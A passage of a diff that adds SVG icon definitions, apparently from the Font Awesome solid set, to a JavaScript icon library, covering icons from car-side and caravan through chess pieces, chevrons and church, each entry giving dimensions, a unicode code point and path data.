172 46.08 75.29 20.18zm18.49 54.65c-18.55-4.97-53.8 15.31-58.75 33.79-4.95 18.49 23.69 22.86 42.24 27.83 18.55 4.97 34.21-4.04 39.17-22.53 4.95-18.48-4.11-34.12-22.66-39.09z" ], + "car-side": [ 640, 512, [], "f5e4", "M544 192h-16L419.22 56.02A64.025 64.025 0 0 0 369.24 32H155.33c-26.17 0-49.7 15.93-59.42 40.23L48 194.26C20.44 201.4 0 226.21 0 256v112c0 8.84 7.16 16 16 16h48c0 53.02 42.98 96 96 96s96-42.98 96-96h128c0 53.02 42.98 96 96 96s96-42.98 96-96h48c8.84 0 16-7.16 16-16v-80c0-53.02-42.98-96-96-96zM160 432c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48zm72-240H116.93l38.4-96H232v96zm48 0V96h89.24l76.8 96H280zm200 240c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48z" ], + caravan: [ 640, 512, [], "f8ff", "M416,208a16,16,0,1,0,16,16A16,16,0,0,0,416,208ZM624,320H576V160A160,160,0,0,0,416,0H64A64,64,0,0,0,0,64V320a64,64,0,0,0,64,64H96a96,96,0,0,0,192,0H624a16,16,0,0,0,16-16V336A16,16,0,0,0,624,320ZM192,432a48,48,0,1,1,48-48A48.05,48.05,0,0,1,192,432Zm64-240a32,32,0,0,1-32,32H96a32,32,0,0,1-32-32V128A32,32,0,0,1,96,96H224a32,32,0,0,1,32,32ZM448,320H320V128a32,32,0,0,1,32-32h64a32,32,0,0,1,32,32Z" ], + "caret-down": [ 320, 512, [], "f0d7", "M31.3 192h257.3c17.8 0 26.7 21.5 14.1 34.1L174.1 354.8c-7.8 7.8-20.5 7.8-28.3 0L17.2 226.1C4.6 213.5 13.5 192 31.3 192z" ], + "caret-left": [ 192, 512, [], "f0d9", "M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142z" ], + "caret-right": [ 192, 512, [], "f0da", "M0 384.662V127.338c0-17.818 21.543-26.741 34.142-14.142l128.662 128.662c7.81 7.81 7.81 20.474 0 28.284L34.142 398.804C21.543 411.404 0 402.48 0 384.662z" ], + "caret-square-down": [ 448, 512, [], "f150", "M448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM92.5 220.5l123 123c4.7 4.7 12.3 4.7 17 0l123-123c7.6-7.6 2.2-20.5-8.5-20.5H101c-10.7 0-16.1 12.9-8.5 20.5z" ], + "caret-square-left": [ 448, 512, [], "f191", "M400 480H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48zM259.515 124.485l-123.03 123.03c-4.686 4.686-4.686 12.284 0 16.971l123.029 123.029c7.56 7.56 20.485 2.206 20.485-8.485V132.971c.001-10.691-12.925-16.045-20.484-8.486z" ], + "caret-square-right": [ 448, 512, [], "f152", "M48 32h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48zm140.485 355.515l123.029-123.029c4.686-4.686 4.686-12.284 0-16.971l-123.029-123.03c-7.56-7.56-20.485-2.206-20.485 8.485v246.059c0 10.691 12.926 16.045 20.485 8.486z" ], + "caret-square-up": [ 448, 512, [], "f151", "M0 432V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48zm355.515-140.485l-123.03-123.03c-4.686-4.686-12.284-4.686-16.971 0L92.485 291.515c-7.56 7.56-2.206 20.485 8.485 20.485h246.059c10.691 0 16.045-12.926 8.486-20.485z" ], + "caret-up": [ 320, 512, [], "f0d8", "M288.662 352H31.338c-17.818 0-26.741-21.543-14.142-34.142l128.662-128.662c7.81-7.81 20.474-7.81 28.284 0l128.662 128.662c12.6 12.599 3.676 34.142-14.142 34.142z" ], + carrot: [ 512, 512, [], "f787", "M298.2 156.6c-52.7-25.7-114.5-10.5-150.2 32.8l55.2 55.2c6.3 6.3 6.3 16.4 0 22.6-3.1 3.1-7.2 4.7-11.3 4.7s-8.2-1.6-11.3-4.7L130.4 217 2.3 479.7c-2.9 6-3.1 13.3 0 19.7 5.4 11.1 18.9 15.7 30 10.3l133.6-65.2-49.2-49.2c-6.3-6.2-6.3-16.4 0-22.6 6.3-6.2 16.4-6.2 22.6 0l57 57 102-49.8c24-11.7 44.5-31.3 57.1-57.1 30.1-61.7 4.5-136.1-57.2-166.2zm92.1-34.9C409.8 81 399.7 32.9 360 0c-50.3 41.7-52.5 107.5-7.9 151.9l8 8c44.4 44.6 110.3 42.4 151.9-7.9-32.9-39.7-81-49.8-121.7-30.3z" ], + "cart-arrow-down": [ 576, 512, [], "f218", "M504.717 320H211.572l6.545 32h268.418c15.401 0 26.816 14.301 23.403 29.319l-5.517 24.276C523.112 414.668 536 433.828 536 456c0 31.202-25.519 56.444-56.824 55.994-29.823-.429-54.35-24.631-55.155-54.447-.44-16.287 6.085-31.049 16.803-41.548H231.176C241.553 426.165 248 440.326 248 456c0 31.813-26.528 57.431-58.67 55.938-28.54-1.325-51.751-24.385-53.251-52.917-1.158-22.034 10.436-41.455 28.051-51.586L93.883 64H24C10.745 64 0 53.255 0 40V24C0 10.745 10.745 0 24 0h102.529c11.401 0 21.228 8.021 23.513 19.19L159.208 64H551.99c15.401 0 26.816 14.301 23.403 29.319l-47.273 208C525.637 312.246 515.923 320 504.717 320zM403.029 192H360v-60c0-6.627-5.373-12-12-12h-24c-6.627 0-12 5.373-12 12v60h-43.029c-10.691 0-16.045 12.926-8.485 20.485l67.029 67.029c4.686 4.686 12.284 4.686 16.971 0l67.029-67.029c7.559-7.559 2.205-20.485-8.486-20.485z" ], + "cart-plus": [ 576, 512, [], "f217", "M504.717 320H211.572l6.545 32h268.418c15.401 0 26.816 14.301 23.403 29.319l-5.517 24.276C523.112 414.668 536 433.828 536 456c0 31.202-25.519 56.444-56.824 55.994-29.823-.429-54.35-24.631-55.155-54.447-.44-16.287 6.085-31.049 16.803-41.548H231.176C241.553 426.165 248 440.326 248 456c0 31.813-26.528 57.431-58.67 55.938-28.54-1.325-51.751-24.385-53.251-52.917-1.158-22.034 10.436-41.455 28.051-51.586L93.883 64H24C10.745 64 0 53.255 0 40V24C0 10.745 10.745 0 24 0h102.529c11.401 0 21.228 8.021 23.513 19.19L159.208 64H551.99c15.401 0 26.816 14.301 23.403 29.319l-47.273 208C525.637 312.246 515.923 320 504.717 320zM408 168h-48v-40c0-8.837-7.163-16-16-16h-16c-8.837 0-16 7.163-16 16v40h-48c-8.837 0-16 7.163-16 16v16c0 8.837 7.163 16 16 16h48v40c0 8.837 7.163 16 16 16h16c8.837 0 16-7.163 16-16v-40h48c8.837 0 16-7.163 16-16v-16c0-8.837-7.163-16-16-16z" ], + "cash-register": [ 512, 512, [], "f788", "M511.1 378.8l-26.7-160c-2.6-15.4-15.9-26.7-31.6-26.7H208v-64h96c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16H48c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h96v64H59.1c-15.6 0-29 11.3-31.6 26.7L.8 378.7c-.6 3.5-.9 7-.9 10.5V480c0 17.7 14.3 32 32 32h448c17.7 0 32-14.3 32-32v-90.7c.1-3.5-.2-7-.8-10.5zM280 248c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16zm-32 64h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16zm-32-80c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16zM80 80V48h192v32H80zm40 200h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16zm16 64v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16zm216 112c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h176c4.4 0 8 3.6 8 8v16zm24-112c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16zm48-80c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16z" ], + cat: [ 512, 512, [], "f6be", "M290.59 192c-20.18 0-106.82 1.98-162.59 85.95V192c0-52.94-43.06-96-96-96-17.67 0-32 14.33-32 32s14.33 32 32 32c17.64 0 32 14.36 32 32v256c0 35.3 28.7 64 64 64h176c8.84 0 16-7.16 16-16v-16c0-17.67-14.33-32-32-32h-32l128-96v144c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V289.86c-10.29 2.67-20.89 4.54-32 4.54-61.81 0-113.52-44.05-125.41-102.4zM448 96h-64l-64-64v134.4c0 53.02 42.98 96 96 96s96-42.98 96-96V32l-64 64zm-72 80c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm80 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16z" ], + certificate: [ 512, 512, [], "f0a3", "M458.622 255.92l45.985-45.005c13.708-12.977 7.316-36.039-10.664-40.339l-62.65-15.99 17.661-62.015c4.991-17.838-11.829-34.663-29.661-29.671l-61.994 17.667-15.984-62.671C337.085.197 313.765-6.276 300.99 7.228L256 53.57 211.011 7.229c-12.63-13.351-36.047-7.234-40.325 10.668l-15.984 62.671-61.995-17.667C74.87 57.907 58.056 74.738 63.046 92.572l17.661 62.015-62.65 15.99C.069 174.878-6.31 197.944 7.392 210.915l45.985 45.005-45.985 45.004c-13.708 12.977-7.316 36.039 10.664 40.339l62.65 15.99-17.661 62.015c-4.991 17.838 11.829 34.663 29.661 29.671l61.994-17.667 15.984 62.671c4.439 18.575 27.696 24.018 40.325 10.668L256 458.61l44.989 46.001c12.5 13.488 35.987 7.486 40.325-10.668l15.984-62.671 61.994 17.667c17.836 4.994 34.651-11.837 29.661-29.671l-17.661-62.015 62.65-15.99c17.987-4.302 24.366-27.367 10.664-40.339l-45.984-45.004z" ], + chair: [ 448, 512, [], "f6c0", "M112 128c0-29.5 16.2-55 40-68.9V256h48V48h48v208h48V59.1c23.8 13.9 40 39.4 40 68.9v128h48V128C384 57.3 326.7 0 256 0h-64C121.3 0 64 57.3 64 128v128h48zm334.3 213.9l-10.7-32c-4.4-13.1-16.6-21.9-30.4-21.9H42.7c-13.8 0-26 8.8-30.4 21.9l-10.7 32C-5.2 362.6 10.2 384 32 384v112c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V384h256v112c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V384c21.8 0 37.2-21.4 30.3-42.1z" ], + chalkboard: [ 640, 512, [], "f51b", "M96 64h448v352h64V40c0-22.06-17.94-40-40-40H72C49.94 0 32 17.94 32 40v376h64V64zm528 384H480v-64H288v64H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z" ], + "chalkboard-teacher": [ 640, 512, [], "f51c", "M208 352c-2.39 0-4.78.35-7.06 1.09C187.98 357.3 174.35 360 160 360c-14.35 0-27.98-2.7-40.95-6.91-2.28-.74-4.66-1.09-7.05-1.09C49.94 352-.33 402.48 0 464.62.14 490.88 21.73 512 48 512h224c26.27 0 47.86-21.12 48-47.38.33-62.14-49.94-112.62-112-112.62zm-48-32c53.02 0 96-42.98 96-96s-42.98-96-96-96-96 42.98-96 96 42.98 96 96 96zM592 0H208c-26.47 0-48 22.25-48 49.59V96c23.42 0 45.1 6.78 64 17.8V64h352v288h-64v-64H384v64h-76.24c19.1 16.69 33.12 38.73 39.69 64H592c26.47 0 48-22.25 48-49.59V49.59C640 22.25 618.47 0 592 0z" ], + "charging-station": [ 576, 512, [], "f5e7", "M336 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h320c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm208-320V80c0-8.84-7.16-16-16-16s-16 7.16-16 16v48h-32V80c0-8.84-7.16-16-16-16s-16 7.16-16 16v48h-16c-8.84 0-16 7.16-16 16v32c0 35.76 23.62 65.69 56 75.93v118.49c0 13.95-9.5 26.92-23.26 29.19C431.22 402.5 416 388.99 416 372v-28c0-48.6-39.4-88-88-88h-8V64c0-35.35-28.65-64-64-64H96C60.65 0 32 28.65 32 64v352h288V304h8c22.09 0 40 17.91 40 40v24.61c0 39.67 28.92 75.16 68.41 79.01C481.71 452.05 520 416.41 520 372V251.93c32.38-10.24 56-40.17 56-75.93v-32c0-8.84-7.16-16-16-16h-16zm-283.91 47.76l-93.7 139c-2.2 3.33-6.21 5.24-10.39 5.24-7.67 0-13.47-6.28-11.67-12.92L167.35 224H108c-7.25 0-12.85-5.59-11.89-11.89l16-107C112.9 99.9 117.98 96 124 96h68c7.88 0 13.62 6.54 11.6 13.21L192 160h57.7c9.24 0 15.01 8.78 10.39 15.76z" ], + "chart-area": [ 512, 512, [], "f1fe", "M500 384c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H12c-6.6 0-12-5.4-12-12V76c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v308h436zM372.7 159.5L288 216l-85.3-113.7c-5.1-6.8-15.5-6.3-19.9 1L96 248v104h384l-89.9-187.8c-3.2-6.5-11.4-8.7-17.4-4.7z" ], + "chart-bar": [ 512, 512, [], "f080", "M332.8 320h38.4c6.4 0 12.8-6.4 12.8-12.8V172.8c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h38.4c6.4 0 12.8-6.4 12.8-12.8V76.8c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-288 0h38.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h38.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zM496 384H64V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z" ], + "chart-line": [ 512, 512, [], "f201", "M496 384H64V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM464 96H345.94c-21.38 0-32.09 25.85-16.97 40.97l32.4 32.4L288 242.75l-73.37-73.37c-12.5-12.5-32.76-12.5-45.25 0l-68.69 68.69c-6.25 6.25-6.25 16.38 0 22.63l22.62 22.62c6.25 6.25 16.38 6.25 22.63 0L192 237.25l73.37 73.37c12.5 12.5 32.76 12.5 45.25 0l96-96 32.4 32.4c15.12 15.12 40.97 4.41 40.97-16.97V112c.01-8.84-7.15-16-15.99-16z" ], + "chart-pie": [ 544, 512, [], "f200", "M527.79 288H290.5l158.03 158.03c6.04 6.04 15.98 6.53 22.19.68 38.7-36.46 65.32-85.61 73.13-140.86 1.34-9.46-6.51-17.85-16.06-17.85zm-15.83-64.8C503.72 103.74 408.26 8.28 288.8.04 279.68-.59 272 7.1 272 16.24V240h223.77c9.14 0 16.82-7.68 16.19-16.8zM224 288V50.71c0-9.55-8.39-17.4-17.84-16.06C86.99 51.49-4.1 155.6.14 280.37 4.5 408.51 114.83 513.59 243.03 511.98c50.4-.63 96.97-16.87 135.26-44.03 7.9-5.6 8.42-17.23 1.57-24.08L224 288z" ], + check: [ 512, 512, [], "f00c", "M173.898 439.404l-166.4-166.4c-9.997-9.997-9.997-26.206 0-36.204l36.203-36.204c9.997-9.998 26.207-9.998 36.204 0L192 312.69 432.095 72.596c9.997-9.997 26.207-9.997 36.204 0l36.203 36.204c9.997 9.997 9.997 26.206 0 36.204l-294.4 294.401c-9.998 9.997-26.207 9.997-36.204-.001z" ], + "check-circle": [ 512, 512, [], "f058", "M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zM227.314 387.314l184-184c6.248-6.248 6.248-16.379 0-22.627l-22.627-22.627c-6.248-6.249-16.379-6.249-22.628 0L216 308.118l-70.059-70.059c-6.248-6.248-16.379-6.248-22.628 0l-22.627 22.627c-6.248 6.248-6.248 16.379 0 22.627l104 104c6.249 6.249 16.379 6.249 22.628.001z" ], + "check-double": [ 512, 512, [], "f560", "M505 174.8l-39.6-39.6c-9.4-9.4-24.6-9.4-33.9 0L192 374.7 80.6 263.2c-9.4-9.4-24.6-9.4-33.9 0L7 302.9c-9.4 9.4-9.4 24.6 0 34L175 505c9.4 9.4 24.6 9.4 33.9 0l296-296.2c9.4-9.5 9.4-24.7.1-34zm-324.3 106c6.2 6.3 16.4 6.3 22.6 0l208-208.2c6.2-6.3 6.2-16.4 0-22.6L366.1 4.7c-6.2-6.3-16.4-6.3-22.6 0L192 156.2l-55.4-55.5c-6.2-6.3-16.4-6.3-22.6 0L68.7 146c-6.2 6.3-6.2 16.4 0 22.6l112 112.2z" ], + "check-square": [ 448, 512, [], "f14a", "M400 480H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48zm-204.686-98.059l184-184c6.248-6.248 6.248-16.379 0-22.627l-22.627-22.627c-6.248-6.248-16.379-6.249-22.628 0L184 302.745l-70.059-70.059c-6.248-6.248-16.379-6.248-22.628 0l-22.627 22.627c-6.248 6.248-6.248 16.379 0 22.627l104 104c6.249 6.25 16.379 6.25 22.628.001z" ], + cheese: [ 512, 512, [], "f7ef", "M0 288v160a32 32 0 0 0 32 32h448a32 32 0 0 0 32-32V288zM299.83 32a32 32 0 0 0-21.13 7L0 256h512c0-119.89-94-217.8-212.17-224z" ], + chess: [ 512, 512, [], "f439", "M74 208H64a16 16 0 0 0-16 16v16a16 16 0 0 0 16 16h15.94A535.78 535.78 0 0 1 64 384h128a535.78 535.78 0 0 1-15.94-128H192a16 16 0 0 0 16-16v-16a16 16 0 0 0-16-16h-10l33.89-90.38a16 16 0 0 0-15-21.62H144V64h24a8 8 0 0 0 8-8V40a8 8 0 0 0-8-8h-24V8a8 8 0 0 0-8-8h-16a8 8 0 0 0-8 8v24H88a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8h24v32H55.09a16 16 0 0 0-15 21.62zm173.16 251.58L224 448v-16a16 16 0 0 0-16-16H48a16 16 0 0 0-16 16v16L8.85 459.58A16 16 0 0 0 0 473.89V496a16 16 0 0 0 16 16h224a16 16 0 0 0 16-16v-22.11a16 16 0 0 0-8.84-14.31zm92.77-157.78l-3.29 82.2h126.72l-3.29-82.21 24.6-20.79A32 32 0 0 0 496 256.54V198a6 6 0 0 0-6-6h-26.38a6 6 0 0 0-6 6v26h-24.71v-26a6 6 0 0 0-6-6H373.1a6 6 0 0 0-6 6v26h-24.71v-26a6 6 0 0 0-6-6H310a6 6 0 0 0-6 6v58.6a32 32 0 0 0 11.36 24.4zM384 304a16 16 0 0 1 32 0v32h-32zm119.16 155.58L480 448v-16a16 16 0 0 0-16-16H336a16 16 0 0 0-16 16v16l-23.15 11.58a16 16 0 0 0-8.85 14.31V496a16 16 0 0 0 16 16h192a16 16 0 0 0 16-16v-22.11a16 16 0 0 0-8.84-14.31z" ], + "chess-bishop": [ 320, 512, [], "f43a", "M8 287.88c0 51.64 22.14 73.83 56 84.6V416h192v-43.52c33.86-10.77 56-33 56-84.6 0-30.61-10.73-67.1-26.69-102.56L185 285.65a8 8 0 0 1-11.31 0l-11.31-11.31a8 8 0 0 1 0-11.31L270.27 155.1c-20.8-37.91-46.47-72.1-70.87-92.59C213.4 59.09 224 47.05 224 32a32 32 0 0 0-32-32h-64a32 32 0 0 0-32 32c0 15 10.6 27.09 24.6 30.51C67.81 106.8 8 214.5 8 287.88zM304 448H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" ], + "chess-board": [ 512, 512, [], "f43c", "M255.9.2h-64v64h64zM0 64.17v64h64v-64zM128 .2H64v64h64zm64 255.9v64h64v-64zM0 192.12v64h64v-64zM383.85.2h-64v64h64zm128 0h-64v64h64zM128 256.1H64v64h64zM511.8 448v-64h-64v64zm0-128v-64h-64v64zM383.85 512h64v-64h-64zm128-319.88v-64h-64v64zM128 512h64v-64h-64zM0 512h64v-64H0zm255.9 0h64v-64h-64zM0 320.07v64h64v-64zm319.88-191.92v-64h-64v64zm-64 128h64v-64h-64zm-64 128v64h64v-64zm128-64h64v-64h-64zm0-127.95h64v-64h-64zm0 191.93v64h64v-64zM64 384.05v64h64v-64zm128-255.9v-64h-64v64zm191.92 255.9h64v-64h-64zm-128-191.93v-64h-64v64zm128-127.95v64h64v-64zm-128 255.9v64h64v-64zm-64-127.95H128v64h64zm191.92 64h64v-64h-64zM128 128.15H64v64h64zm0 191.92v64h64v-64z" ], + "chess-king": [ 448, 512, [], "f43f", "M400 448H48a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm16-288H256v-48h40a8 8 0 0 0 8-8V56a8 8 0 0 0-8-8h-40V8a8 8 0 0 0-8-8h-48a8 8 0 0 0-8 8v40h-40a8 8 0 0 0-8 8v48a8 8 0 0 0 8 8h40v48H32a32 32 0 0 0-30.52 41.54L74.56 416h298.88l73.08-214.46A32 32 0 0 0 416 160z" ], + "chess-knight": [ 384, 512, [], "f441", "M19 272.47l40.63 18.06a32 32 0 0 0 24.88.47l12.78-5.12a32 32 0 0 0 18.76-20.5l9.22-30.65a24 24 0 0 1 12.55-15.65L159.94 208v50.33a48 48 0 0 1-26.53 42.94l-57.22 28.65A80 80 0 0 0 32 401.48V416h319.86V224c0-106-85.92-192-191.92-192H12A12 12 0 0 0 0 44a16.9 16.9 0 0 0 1.79 7.58L16 80l-9 9a24 24 0 0 0-7 17v137.21a32 32 0 0 0 19 29.26zM52 128a20 20 0 1 1-20 20 20 20 0 0 1 20-20zm316 320H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" ], + "chess-pawn": [ 320, 512, [], "f443", "M105.1 224H80a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h16v5.49c0 44-4.14 86.6-24 122.51h176c-19.89-35.91-24-78.51-24-122.51V288h16a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-25.1c29.39-18.38 49.1-50.78 49.1-88a104 104 0 0 0-208 0c0 37.22 19.71 69.62 49.1 88zM304 448H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" ], + "chess-queen": [ 512, 512, [], "f445", "M256 112a56 56 0 1 0-56-56 56 56 0 0 0 56 56zm176 336H80a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm72.87-263.84l-28.51-15.92c-7.44-5-16.91-2.46-22.29 4.68a47.59 47.59 0 0 1-47.23 18.23C383.7 186.86 368 164.93 368 141.4a13.4 13.4 0 0 0-13.4-13.4h-38.77c-6 0-11.61 4-12.86 9.91a48 48 0 0 1-93.94 0c-1.25-5.92-6.82-9.91-12.86-9.91H157.4a13.4 13.4 0 0 0-13.4 13.4c0 25.69-19 48.75-44.67 50.49a47.5 47.5 0 0 1-41.54-19.15c-5.28-7.09-14.73-9.45-22.09-4.54l-28.57 16a16 16 0 0 0-5.44 20.47L104.24 416h303.52l102.55-211.37a16 16 0 0 0-5.44-20.47z" ], + "chess-rook": [ 384, 512, [], "f447", "M368 32h-56a16 16 0 0 0-16 16v48h-48V48a16 16 0 0 0-16-16h-80a16 16 0 0 0-16 16v48H88.1V48a16 16 0 0 0-16-16H16A16 16 0 0 0 0 48v176l64 32c0 48.33-1.54 95-13.21 160h282.42C321.54 351 320 303.72 320 256l64-32V48a16 16 0 0 0-16-16zM224 320h-64v-64a32 32 0 0 1 64 0zm144 128H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" ], + "chevron-circle-down": [ 512, 512, [], "f13a", "M504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zM273 369.9l135.5-135.5c9.4-9.4 9.4-24.6 0-33.9l-17-17c-9.4-9.4-24.6-9.4-33.9 0L256 285.1 154.4 183.5c-9.4-9.4-24.6-9.4-33.9 0l-17 17c-9.4 9.4-9.4 24.6 0 33.9L239 369.9c9.4 9.4 24.6 9.4 34 0z" ], + "chevron-circle-left": [ 512, 512, [], "f137", "M256 504C119 504 8 393 8 256S119 8 256 8s248 111 248 248-111 248-248 248zM142.1 273l135.5 135.5c9.4 9.4 24.6 9.4 33.9 0l17-17c9.4-9.4 9.4-24.6 0-33.9L226.9 256l101.6-101.6c9.4-9.4 9.4-24.6 0-33.9l-17-17c-9.4-9.4-24.6-9.4-33.9 0L142.1 239c-9.4 9.4-9.4 24.6 0 34z" ], + "chevron-circle-right": [ 512, 512, [], "f138", "M256 8c137 0 248 111 248 248S393 504 256 504 8 393 8 256 119 8 256 8zm113.9 231L234.4 103.5c-9.4-9.4-24.6-9.4-33.9 0l-17 17c-9.4 9.4-9.4 24.6 0 33.9L285.1 256 183.5 357.6c-9.4 9.4-9.4 24.6 0 33.9l17 17c9.4 9.4 24.6 9.4 33.9 0L369.9 273c9.4-9.4 9.4-24.6 0-34z" ], + "chevron-circle-up": [ 512, 512, [], "f139", "M8 256C8 119 119 8 256 8s248 111 248 248-111 248-248 248S8 393 8 256zm231-113.9L103.5 277.6c-9.4 9.4-9.4 24.6 0 33.9l17 17c9.4 9.4 24.6 9.4 33.9 0L256 226.9l101.6 101.6c9.4 9.4 24.6 9.4 33.9 0l17-17c9.4-9.4 9.4-24.6 0-33.9L273 142.1c-9.4-9.4-24.6-9.4-34 0z" ], + "chevron-down": [ 448, 512, [], "f078", "M207.029 381.476L12.686 187.132c-9.373-9.373-9.373-24.569 0-33.941l22.667-22.667c9.357-9.357 24.522-9.375 33.901-.04L224 284.505l154.745-154.021c9.379-9.335 24.544-9.317 33.901.04l22.667 22.667c9.373 9.373 9.373 24.569 0 33.941L240.971 381.476c-9.373 9.372-24.569 9.372-33.942 0z" ], + "chevron-left": [ 320, 512, [], "f053", "M34.52 239.03L228.87 44.69c9.37-9.37 24.57-9.37 33.94 0l22.67 22.67c9.36 9.36 9.37 24.52.04 33.9L131.49 256l154.02 154.75c9.34 9.38 9.32 24.54-.04 33.9l-22.67 22.67c-9.37 9.37-24.57 9.37-33.94 0L34.52 272.97c-9.37-9.37-9.37-24.57 0-33.94z" ], + "chevron-right": [ 320, 512, [], "f054", "M285.476 272.971L91.132 467.314c-9.373 9.373-24.569 9.373-33.941 0l-22.667-22.667c-9.357-9.357-9.375-24.522-.04-33.901L188.505 256 34.484 101.255c-9.335-9.379-9.317-24.544.04-33.901l22.667-22.667c9.373-9.373 24.569-9.373 33.941 0L285.475 239.03c9.373 9.372 9.373 24.568.001 33.941z" ], + "chevron-up": [ 448, 512, [], "f077", "M240.971 130.524l194.343 194.343c9.373 9.373 9.373 24.569 0 33.941l-22.667 22.667c-9.357 9.357-24.522 9.375-33.901.04L224 227.495 69.255 381.516c-9.379 9.335-24.544 9.317-33.901-.04l-22.667-22.667c-9.373-9.373-9.373-24.569 0-33.941L207.03 130.525c9.372-9.373 24.568-9.373 33.941-.001z" ], + child: [ 384, 512, [], "f1ae", "M120 72c0-39.765 32.235-72 72-72s72 32.235 72 72c0 39.764-32.235 72-72 72s-72-32.236-72-72zm254.627 1.373c-12.496-12.497-32.758-12.497-45.254 0L242.745 160H141.254L54.627 73.373c-12.496-12.497-32.758-12.497-45.254 0-12.497 12.497-12.497 32.758 0 45.255L104 213.254V480c0 17.673 14.327 32 32 32h16c17.673 0 32-14.327 32-32V368h16v112c0 17.673 14.327 32 32 32h16c17.673 0 32-14.327 32-32V213.254l94.627-94.627c12.497-12.497 12.497-32.757 0-45.254z" ], + church: [ 640, 512, [], "f51d", "M464.46 246.68L352 179.2V128h48c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16h-48V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v48h-48c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h48v51.2l-112.46 67.48A31.997 31.997 0 0 0 160 274.12V512h96v-96c0-35.35 28.65-64 64-64s64 28.65 64 64v96h96V274.12c0-11.24-5.9-21.66-15.54-27.44zM0 395.96V496c0 8.84 7.16 16 16 16h112V320L19.39 366.54A32.024 